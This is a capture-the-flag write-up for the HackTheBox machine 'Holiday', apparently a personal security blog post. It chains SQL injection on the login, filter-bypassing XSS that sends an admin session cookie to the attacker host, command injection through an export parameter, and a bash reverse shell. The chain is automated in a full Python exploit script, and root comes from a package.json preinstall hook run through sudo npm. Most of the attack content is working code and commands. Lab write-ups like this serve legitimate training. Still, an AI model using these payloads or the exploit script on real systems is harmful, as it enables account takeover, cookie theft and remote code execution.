Home HackTheBox - Holiday
Post
Cancel

HackTheBox - Holiday

Holiday was a hard box from hackthebox. Linux and web, it was not easy because of it’s path of exploration consists in many things to do. One web fuzzing with especific User-Agent, then a SQLInjection on login to extract the user hash, after logged in one XSS to get the admin cookie, a session riding to execute commands and then get a reverse shell.

The root is trough sudo command insecure node.

The auto script for algernon is in the post, hope you enjoy!

Diagram

Here is the diagram for this machine. It’s a resume from it.

graph TD
    A[Enumeration] -->|Nmap - Gobuster| B(Port 8000 - Web)
    B --> |WFuzz, Gobuster, Dirsearch| C[Login]
    C --> |SQLI Bypass| D(RickA Hash)
    D --> |Logged In| E[XSS]
    E --> |Python Script - Auto Shell| F[algernon]
    F --> |sudo -l -> Node| G[root]

Enumeration

First step is to enumerate the box. For this we’ll use nmap

1
nmap -sV -sC -Pn 10.10.10.25

-sV - Services running on the ports

-sC - Run some standart scripts

-Pn - Consider the host alive

Port 8000

We try to open it on the browser

Just one hexagon

We run gobuster in it

1
gobuster dir -u http://10.10.10.25:8000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

Wierdly it does not return anything. We try wfuzz

1
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 http://10.10.10.25:8000/FUZZ

Also nothing… Let’s try dirsearch

1
dirsearch -u http://10.10.10.25:8000

And it found some pages

I started looking why it does not worked with gobuster and wfuzz. And what I found was on the USER-AGENT of both of then, if we pass a “realistic” user agent it works

1
wfuzz -H "User-Agent: Linux" -c -z file,list.txt --hc 404 http://10.10.10.25:8000/FUZZ

Okay, maybe we have some filter on the server side making it. I’ll check later. But for now, let’s move on.

/login

So, now we see what we have on /login

It’s a login page

We try admin:admin and got a Invalid Username. It’s good, seems to have some kind of way to see if we got a valid username.

We send the request to burp, to better manage it and byppass it

We send again the admin:admin request and see the invalid username in it

We try to bypass the login with wfuzz and a list of injections, remember to change the User-Agent and put the –hh 1197,1199 to hide the error message

1
wfuzz -H "User-Agent: Linux" -z file,list.txt -d "username=FUZZ&password=admin" --hh 1197,1199 http://10.10.10.25:8000/login

Many of them worked, so I get the first one to see what is the response on burpsuite

It’s incorrect password, so, we bypass the login, but what is interesting is that it showed me one username, the RickA, in a pre-filled form.

With a correct username I tought that I was able to bypass the login with a simple comment -- - but it’s not possible

It showed me Error Occured, not incorret password or anything else. So possibly my query is getting trouble to be executed on the server.

I tried to put some ( to balance the query and got it working

So, the query is something like this, the hash pass would come first, because of the check, if it’s not happening I was going to be in the site authenticated

1
SELECT * FROM users where ((password = hash({password})) and (username = {username}))

SQLInjection

Now, the next step is to get how many columns we have here, with a UNION statement

I start with “)) UNION SELECT 1 – -, and get an error. The error is because the number of columns expected does not match the UNION. Next I try “)) UNION SELECT 1,2 – -, and error. At “)) UNION SELECT 1,2,3,4 no error, and I can see the returned username of “2”:

So, probably it’s the injection point, we try to get some info on the server with it

I tried to see the version with @@version, version() and now success, so, I tried sqlite_version(), and it worked, because the sql running there is a sqlite

So, now I can extract data from it.

This cheatsheet helps me a lot to make the queries

1
username=0x4rt3mis")) UNION SELECT 1,tbl_name,3,4 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0-- -&password=admin

And we get the table names changing the limit and offset

bookings,users,notes,sessions,

Which I think is more importat is the users, so let’s extract it

1
2
username=0x4rt3mis")) UNION SELECT 1,sql,3,4 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='users'-- -&password=admin
CREATE TABLE users (id INTEGER PRIMARY KEY AUTOINCREMENT,username TEXT,password TEXT,active TINYINT(1))

So we have the columns USERNAME and PASSWORD, let’s extract them

1
username=0x4rt3mis")) UNION SELECT 1,username,3,4 FROM users-- -&password=admin

And we get a hash

1
2
username=0x4rt3mis")) UNION SELECT 1,password,3,4 FROM users-- -&password=admin
fdc8cd4cff2c19e0d1022e78481ddf36

And we crack it

nevergonnagiveyouup. So we can log on the app

XSS

We login

When we click in any note we got some information

And when we click on the Notes it shows that it takes one minute to the admin approve it

Seems interesiting, possible a XSS, so I will create it to try to come to me

1
<script src="http://10.10.14.20/test.js"></script>

We add the note and wait one minute

We see that the note get some trouble, so I’ll need to make some kind of bypass to make it working properly

We download a huge list of payloads to try it

1
wget https://raw.githubusercontent.com/payloadbox/xss-payload-list/master/Intruder/xss-payload-list.txt

We send a request to burp

Get the parameters and made our wfuzz command

1
wfuzz -H "User-Agent: Linux" -b 'connect.sid=s%3Ac7122110-352c-11ec-8a63-376f72d63222.i3Z6TpFuIpKWpMSiip1AcpxG7w0HcNaG6RHF3iSkBP4' -z file,xss-payload-list.txt -d "uuid=8dd841ff-3f44-4f2b-9324-9a833e2c6b65&body=FUZZ" --hc 200 http://10.10.10.25:8000/agent/addNote

And send everything to the server, to see what triggers there

No one trigger the alert message, interesting and no one give me the <script> tags, which I need to make XSS.

But if we look at img tag, it’s being corrected renderized by the server

So I tried the same way with other list

1
wget https://gist.githubusercontent.com/JohannesHoppe/5612274/raw/60016bccbfe894dcd61a6be658a4469e403527de/666_lines_of_XSS_vectors.html

And we wfuzz it again

1
2
wfuzz -H "User-Agent: Linux" -b 'connect.sid=s%3A80697420-353b-11ec-8f58-294d67337c3d.dbsOBPzQOxyCbeCGja%2FyPOvUNrk4sPVNcHm%2Fob3zVYA' -z file,666_lines_of_XSS_vectors.html -d "uuid=8dd841ff-3f44-4f2b-9324-
9a833e2c6b65&body=FUZZ" --hc 200 http://10.10.10.25:8000/agent/addNote

One of this list become very good for us

1
<img src="x` `<script>javascript:alert(1)</script>"` `>

Which showed me:

1
<img src=x``<script>javascript:alert(1)</script>>

1 - Quotes wrapping attribute content were stripped.

2 - Any white space inside the attribute was removed.

3 - < and > were not being escaped inside the attribute.

I could use this vulnerability to take advantage of the scripts tag

1
<img src="/><script></script>"/>

Will be, and will be renderized as script, awesome!

1
<img src=/><script></script>/>

So following it, this code must be executed

1
<img src="/><script>new Image().src='http://10.10.14.20/cookie='+document.cookie;</script>">

So we try to send it to the server

We see that it does not render correctly because of the quotes and spaces which the server is blocking and filtering. So we must develop an alternative for this bypass.

After some hard trial and error, we found that it render just charcode. As this link showed me.

1
<img src="/><script>eval(String.fromCharCode(... payload ...))</script>" />

We create a simple python script to encode the payload

char.py

1
2
3
4
5
6
7
#!/usr/bin/python3

target = "new Image().src='http://10.10.14.20/cookie='+document.cookie;"
result = []
for c in target:
    result.append(str(ord(c)))
print ', '.join(result)

So I try a simple XSS, to see if I can get the things working well

1
<img src="/><script>eval(String.fromCharCode(110, 101, 119, 32, 73, 109, 97, 103, 101, 40, 41, 46, 115, 114, 99, 61, 39, 104, 116, 116, 112, 58, 47, 47, 49, 48, 46, 49, 48, 46, 49, 52, 46, 50, 48, 47, 99, 111, 111, 107, 105, 101, 61, 39, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 59))</script>" />

Well, it worked, so now we can start building some more complex payloads

We look at the information of the cookie on my RickA session, HttpOnly is seted to true, so I cannot get the document.cookie by this way. We can do a sort of things to get it

First, we will simply try to get the admin page, to see what it’s inside it

0x4rt3mis.js

1
2
3
var req=new XMLHttpRequest();
req.open('GET', 'http://10.10.14.20:9090/?xss=' + btoa(document.body.innerHTML), true);
req.send();

1
<img src="/><script>eval(String.fromCharCode(100, 111, 99, 117, 109, 101, 110, 116, 46, 119, 114, 105, 116, 101, 40, 39, 60, 115, 99, 114, 105, 112, 116, 32, 115, 114, 99, 61, 34, 104, 116, 116, 112, 58, 47, 47, 49, 48, 46, 49, 48, 46, 49, 52, 46, 50, 48, 47, 48, 120, 52, 114, 116, 51, 109, 105, 115, 46, 106, 115, 34, 62, 60, 47, 115, 99, 114, 105, 112, 116, 62, 39, 41, 59))</script>" />

We add the note and wait one minute

And it reaches my box

We base64 decode the page from admin

We open it on localhost and see that we have an admin tab now

We create another js payload to get the admin page

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function getAdmin() {
	var req1=new XMLHttpRequest(); 
	req1.open('GET', '#admin' , true); 
	req1.onreadystatechange = function () { 
		if (req1.readyState === req1.DONE) {
			if (req1.status === 200) { 
				 var req2=new XMLHttpRequest(); 
				req2.open('GET', 'http://10.10.14.20:9090?xss=' + btoa(req1.responseText), true);
				req2.send(); 
				}
			}
		}; 
	req1.send();
}

getAdmin();

And we get the admin page

What called my attention more was one hidden field with cookie value

Session Hijacking

So, we need to grab it with our js payload…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function getAdmin() {
	var req1=new XMLHttpRequest(); 
	req1.open('GET', '#admin' , true); 
	req1.onreadystatechange = function () { 
		if (req1.readyState === req1.DONE) {
			if (req1.status === 200) { 
				 var req2=new XMLHttpRequest(); 
				req2.open('GET', 'http://10.10.14.20:9090?xss=' + encodeURI(document.getElementsByName("cookie")[0].value), true);
				req2.send(); 
				}
			}
		}; 
	req1.send();
}

getAdmin();

And we send the payload again, and the XSS triggered gave me the cookie I need

Now what I need to do is re-use this cookie on my page and see what I can do as admin

We URL decode it

And reuse it

Now we have access to the admin page

Hunting RCE

Now, let’s start hunting a RCE on this box

We send the request to burp and see what is happening with it

We send /admin/export?table=!@$%^& to see bad chars and allowed chars

For my surprise I see that the character & is allowed on the server, it’s used to send commands to background in linux systems, so I’ll try to run a command with it

And we have RCE! Now let’s work in our reverse shell, and after that let’s make a js to do this all thing together for us

I tried to ping myself, but no sucess because dot is a bad char

So, I’ll need to change my ip to hex

Converter

We convert our ip

And send it to the server to ping us back

So, let’s create a bash reverses shell, download and execute it

1
2
echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.14.20/448 0>&1' > shell
cat shell

We download it with wget

And execute it

We have shell! Now, let’s automate it to auto get a reverse shell

Auto Shell

First, we will use our python skeleton to do that

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3

import argparse
import requests
import sys

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    args = parser.parse_args()
    
    '''Here we call the functions'''
    
if __name__ == '__main__':
    main()

Here it is

auto_rev.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
#!/usr/bin/python3
# Author: 0x4rt3mis
# Auto Reverse Shell - With XSS!!! - Holiday HackTheBox

import argparse
import requests
import sys
from threading import Thread
import threading                     
import http.server                                  
import socket                                   
from http.server import HTTPServer, SimpleHTTPRequestHandler
import socket, telnetlib
from threading import Thread
import os
import re
import ipaddress
from urllib.parse import unquote

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''
# Set the handler
def handler(lport,target):
    print("[+] Starting handler on %s [+]" %lport) 
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('0.0.0.0',lport))
    s.listen(1)
    conn, addr = s.accept()
    print("[+] Connection from %s [+]" %target) 
    t.sock = conn
    print("[+] Shell'd [+]")
    t.interact()

# Setting the python web server
def webServer():
    debug = True                                    
    server = http.server.ThreadingHTTPServer(('0.0.0.0', 80), SimpleHTTPRequestHandler)
    if debug:                                                                                                                                
        print("[+] Starting Web Server in background [+]")
        thread = threading.Thread(target = server.serve_forever)
        thread.daemon = True                                                                                 
        thread.start()                                                                                       
    else:                                               
        print("Starting Server")
        print('Starting server at http://{}:{}'.format('0.0.0.0', 80))
        server.serve_forever()
        
# First, we need to login as RickA to send the XSS to the server
def loginRickA(rhost):
    print("[+] Let's login as RickA !!! [+]")
    url = "http://%s:8000/login" %rhost
    headers = {"User-Agent": "Linux", "Content-Type": "application/x-www-form-urlencoded"}
    data = {"username": "RickA", "password": "nevergonnagiveyouup"}
    login = r.post(url, headers=headers, data=data, proxies=proxies)
    if "Orland Wilkinson" in login.text:
        print("[+] Login OKKK!! [+]")
    else:
        print("[+] Something went wrong with the login, check it again !! [+]")
        exit

# Let's built our js malicious
def buildPayload(lhost):
    print("[+] Let's Build Our Payload !!! [+]")
    target = "document.write('<script src=\"http://%s/0x4rt3mis.js\"></script>');" %lhost
    result = ""
    for c in target:
        result += str(ord(c))
        result += ","
    result = result.removesuffix(",")
    global payload
    payload = "<img src=\"/><script>eval(String.fromCharCode(%s))</script>\" />" %result
    print("[+] Payload Built !!! [+]")
    
# Build the XSS to make the things for us
def buildJS(lhost):
    print("[+] Let's build our JS to get the Admin COOKIE !! [+]")
    pay = "function getAdmin() {\n"
    pay += "    var req1=new XMLHttpRequest(); \n"
    pay += "    req1.open('GET', '#admin' , true); \n"
    pay += "    req1.onreadystatechange = function () { \n"
    pay += "            if (req1.readyState === req1.DONE) {\n"
    pay += "                    if (req1.status === 200) { \n"
    pay += "                            var req2=new XMLHttpRequest(); \n"
    pay += "                            req2.open('GET', 'http://%s:9090?xss=' + encodeURI(document.getElementsByName(\"cookie\")[0].value), true);\n" %lhost
    pay += "                            req2.send(); \n"
    pay += "                            }\n"
    pay += "                    }\n"
    pay += "            }; \n"
    pay += "    req1.send();\n"
    pay += "}\n"
    pay += "getAdmin();\n"
    f = open("0x4rt3mis.js", "w")
    f.write(pay)
    f.close()

# Let's build our shell script to get the reverse shell
def buildSHELL(lhost,lport):
    print("[+] Let's build our reverse bash shell !! [+]")
    os.system("echo '#!/bin/bash\nbash -i >& /dev/tcp/%s/%s 0>&1' > shell" %(lhost,lport))
    print("[+] Payload Built! [+]")
        
# Now Let's trigger the XSS on the server
def sendXSS(rhost,payload):
    print("[+] Let's Send the XSS To the Server !!! [+]")
    url = "http://%s:8000/agent/addNote" %rhost
    headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Content-Type": "application/x-www-form-urlencoded"}
    data = {"uuid": "8dd841ff-3f44-4f2b-9324-9a833e2c6b65", "body": "%s" %payload}
    r.post(url, headers=headers, cookies=r.cookies, data=data, proxies=proxies)
    
# Let's receive the cookie from the XSS
def receiveCookie():
    print("[+] Let's receive the cookie from admin!!! [+]")
    os.system("nc -nlvp 9090 > cookie_admin")
    os.system("sleep 65")
    print("[+] Cookie GOT! [+]")
    f = open("cookie_admin", "r")
    admin_cookie = f.readline().strip()
    f.close()
    global cookie_read
    cookie_read = re.search('=s(.*)\s', admin_cookie).group(0)
    cookie_read = cookie_read.removeprefix("=")
    cookie_read = unquote(cookie_read)
    
# Now let's get RCE
def getRCE(lhost,rhost,cookie_read):
    print("[+] Let's get the reverse shell !!! [+]")
    print("[+] First let's convert our ip to hex ! [+]")
    hex_ip = int(ipaddress.ip_address('%s' %lhost))
    print("[+] " + str(lhost) + " = " + str(hex_ip) + " [+]")
    os.system("sleep 5")
    # Making the cookies right
    r.cookies.set('connect.sid', None)
    r.cookies.set('connect.sid', cookie_read)
    # Setting the requests on the url
    os.system("sleep 5")
    headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"}
    url = "http://" + rhost + ":8000/admin/export?table=%26wget+" + str(hex_ip) + "/shell"
    r.get(url, headers=headers, cookies=r.cookies, proxies=proxies)
    os.system("sleep 5")
    url = "http://" + rhost + ":8000/admin/export?table=%26bash+shell"
    r.get(url, headers=headers, cookies=r.cookies, proxies=proxies)
        
def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-ip', '--localip', help='Local ip address or hostname to receive the shell', required=True)
    parser.add_argument('-p', '--localport', help='Local port to receive the shell', required=True)
    args = parser.parse_args()
    
    rhost = args.target
    lhost = args.localip
    lport = args.localport

    '''Here we call the functions'''
    # Set up the handler
    thr = Thread(target=handler,args=(int(lport),rhost))
    thr.start()
    # Set up the web python server
    webServer()
    # First login
    loginRickA(rhost)
    # Build XSS
    buildPayload(lhost)
    # Create the JS
    buildJS(lhost)
    # Create the bash script
    buildSHELL(lhost,lport)
    # Send XSS
    sendXSS(rhost,payload)
    # Receive the admin cookie
    receiveCookie()
    # RCE
    getRCE(lhost,rhost,cookie_read)

    # Clean up the things
    os.system("rm 0x4rt3mis.js")
    os.system("rm shell")
    os.system("rm cookie_admin")

if __name__ == '__main__':
    main()

Ok, now let’s become root.

Algernon -> root

With sudo -l we see that this user can run npm as root without a password

Searching on the internet we see how npm as root can be dangerous, and we found this git

We create our own package.json

1
2
3
4
5
6
7
{
  "name": "root_holiday",
  "version": "1.0.1",
  "scripts": {
    "preinstall": "/bin/bash"
  }
}

Now, just run it and get root

1
sudo npm i 0x4rt3mis/ --unsafe

Source Code Analisys

I’m curious about some points on this box. I’ll try to read the source code of the app to understand better how it’s working.

We transfer the app folder to our box

1
rsync -azP -i algernon@10.10.10.25:app/* .

On router.js we found where the sqli happens

The code put whatever we place as username directly on the db query, so, we can inject sql in this field

Detailed

Ok, now let’s look how the macro of the xss ocurrs

We see here the approve database being setted to all notes to be done. We can get the admin password of the application, once it always login when approve the note.

This post is licensed under CC BY 4.0 by the author.